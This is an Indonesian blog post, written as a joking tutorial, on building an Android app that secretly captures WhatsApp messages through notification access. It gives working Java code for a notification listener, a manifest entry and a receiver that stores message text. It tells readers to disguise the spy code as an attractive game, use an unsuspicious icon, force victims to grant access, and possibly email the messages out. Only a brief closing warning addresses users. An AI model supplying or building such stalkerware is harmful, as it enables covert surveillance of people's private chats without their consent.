Beberapa waktu lalu pernah gayeng ketika orang-orang pada ngobrol tentang penyadapan percakapan di dunia maya yang kemudian dikait-kaitkan dengan isu makar terhadap NKRI. Owalah benar-benar tidak menarik untuk dibahas, njelehi tenan. Tapi yang menarik bagi saya justeru di bagian sadap-sadapnya ini.
Nah, terlepas dari semua bahasan yang njelehi tersebut, mari kita mbahas ini saja, sadap-sadapan he3x. Mungkin ini salah satu trik yang dapat dilakukan untuk menyadap(lebih tepatnya nginjen a.k.a mengintip karena tak semua bisa kelihatan) aktivitas chatting device android. Yaitu dengan cara merekam log aktivitas pesan melalui push notification.
Namun perlu diketahui bahwa dalam hal ini ada dua kemungkinan, bisa berhasil bisa juga tidak. Bisa berhasil jika pemilik device meng-enable setelan notification settings. Jika tidak, yasudah anda tidak dapat pamer ke calon mertua. Yang jelas tak se-keren aksi hacker di filem-filem. He3x..
Apa itu Push Notification?
Push Notification adalah sebuah notifikasi atau pemberitahuan instan yang di push langsung dari server/back end ke antarmuka pengguna aplikasi (desktop/mobile).
Notifikasi biasanya memiliki title berisi judul notifikasi, package name berisi nama package aplikasi penerima notifikasi, dan text yang berisi pesan isi notifikasi. Nah ketiga property inilah yang akan kita ambil informasinya.
Skenario penyadapan
Sebelum melakukan penyadapan, eh pengintipan ding, persiapkanlah rencana dengan matang. Luruskan niat semata-mata untuk berexperimen dan menambah ilmu. he3x.. Bukan untuk menebar fitnah dan kejahatan. Pikirkan juga dosanya he3x.
- Membuat aplikasi penyadap atau apalah istilahnya, yang penting berupa file .apk, dapat berupa aplikasi menarik atau game namun di dalamnya terdapat script penyadap. Ha3x. Silahkan gunakan ide kreatif anda masing-masing.
- Gunakan icon yang menarik dan tidak mencurigakan. Ini penting, agar user tidak curiga akan niat busuk Anda. Ha3x..
- Paksa user untuk mengaktifkan notification access. Ini hukumnya wajib. Pokoknya bagaimana caranya, user harus mengaktifkan permission ini.
Script penyadap
Android SDK menyediakan kelas yang sangat keren yaitu NotificationListenerService.java, sebuah service yang menangani notifikasi. Anda bisa mengimportnya seperti cara biasa.
import android.service.notification.NotificationListenerService;
Kemudian disini sy membuat sebuah kelas bernama NotificationService turunan dari NotificationListenerService.
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.os.IBinder; import android.service.notification.NotificationListenerService; import android.service.notification.StatusBarNotification; import android.support.v4.content.LocalBroadcastManager; import android.util.Log; import com.waspy.sayekti.waspy.R; /** * Created by sayekti on 10/13/17. */ public class NotificationService extends NotificationListenerService { private Context context; private static boolean isNotificationAccessEnabled = false; public static boolean isNotificationAccessEnabled() { return isNotificationAccessEnabled; } @Override public void onCreate() { super.onCreate(); context = getApplicationContext(); } @Override public IBinder onBind(Intent intent) { IBinder mIBinder = super.onBind(intent); isNotificationAccessEnabled = true; return mIBinder; } @Override public boolean onUnbind(Intent intent) { boolean mOnUnbind = super.onUnbind(intent); isNotificationAccessEnabled = false; return mOnUnbind; } @Override public void onNotificationPosted(StatusBarNotification sbn) { String pack = sbn.getPackageName(); String ticker = sbn.getNotification().tickerText.toString(); Bundle extras = sbn.getNotification().extras; String title = extras.getString("android.title"); String text = extras.getCharSequence("android.text").toString(); Log.i("yaktest"+"Package",pack); Log.i("yaktest"+"Ticker",ticker); Log.i("yaktest"+"Title",title); Log.i("yaktest"+"Text",text); Intent msgrcv = new Intent("Msg"); msgrcv.putExtra("package", pack); msgrcv.putExtra("ticker", ticker); msgrcv.putExtra("title", title); msgrcv.putExtra("text", text); LocalBroadcastManager.getInstance(context).sendBroadcast(msgrcv); } @Override public void onNotificationRemoved(StatusBarNotification sbn) { Log.i("Msg","Notification Removed"); } } |
Kemudian jangan lupa tambahkan pada AndroidManifest.xml
0 1 2 3 4 5 6 7 |
<service android:name=".service.NotificationService" android:label="@string/app_name" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"> <intent-filter> <action android:name="android.service.notification.NotificationListenerService" /> </intent-filter> </service> |
Kemudian dibutuhkan sebuah BroadcastReceiver yang fungsinya sebagai penerima broadcast dan disini kita dapat melakukan filter sesuai nama package yang akan kita tangkap notifikasinya. Misalnya package yang akan anda intip adalah com.whatsapp a.k.a whatsapp punya. Nah inilah inti dari teknik yang kita bahas. Jadi dalam BroadcastReceiver inilah penyadapan terhadap sebuah pesan notifikasi dilakukan.
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
private BroadcastReceiver onNotice = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (!isRunning) isRunning = true; final String pack = intent.getStringExtra("package"); final String title = intent.getStringExtra("title"); final String ticker = intent.getStringExtra("ticker"); final String text = intent.getStringExtra("text"); if (pack.equalsIgnoreCase("com.whatsapp")) { /** * This is just an example, incoming messages are stored in the realm database. * You can also experiment for example incoming messages are sent to your email as a spy. */ realm.beginTransaction(); Doo doo = realm.createObject(Doo.class, UUID.randomUUID().toString()); doo.setPackageName(pack); doo.setTitle(title); doo.setTicker(ticker); doo.setText(text); realm.commitTransaction(); } } }; |
Ini baru contoh ecek-ecek dan tentunya masih bisa anda kembangkan sendiri dan lebih keren lagi.
Kemudian untuk menjalankan dan mematikan dapat menggunakan LocalBroadcastManager.
Start Service :
LocalBroadcastManager.getInstance(MainActivity.this).registerReceiver(onNotice, new IntentFilter("Msg"));
Stop Service :
LocalBroadcastManager.getInstance(MainActivity.this).unregisterReceiver(onNotice);
Log pada IDE Android Studio
Contoh tampilan aplikasi WaSpy
Hikmah dan pelajaran
…bagi anda pengguna awam berhati-hatilah menginstall aplikasi atau game siapa tahu didalamnya terdapat script penyadap/pengintai
Mari kita ambil hikmah dari postingan yang acak-acakan ini. Setidaknya ada sedikit pelajaran yang dapat kita ambil hikmahnya. Bagi developer sangat memungkinkan membuat aplikasi semacam ini, sehingga bagi anda pengguna awam berhati-hatilah menginstall aplikasi atau game siapa tahu didalamnya terdapat script penyadap/pengintai. Jangan sampai obrolan via chatting dengan istri muda anda tersebar kemana-mana gara-gara keteledoran anda sendiri.
Sekian, selamat berexperimen.
Thank you for your help and this post. It’s been great.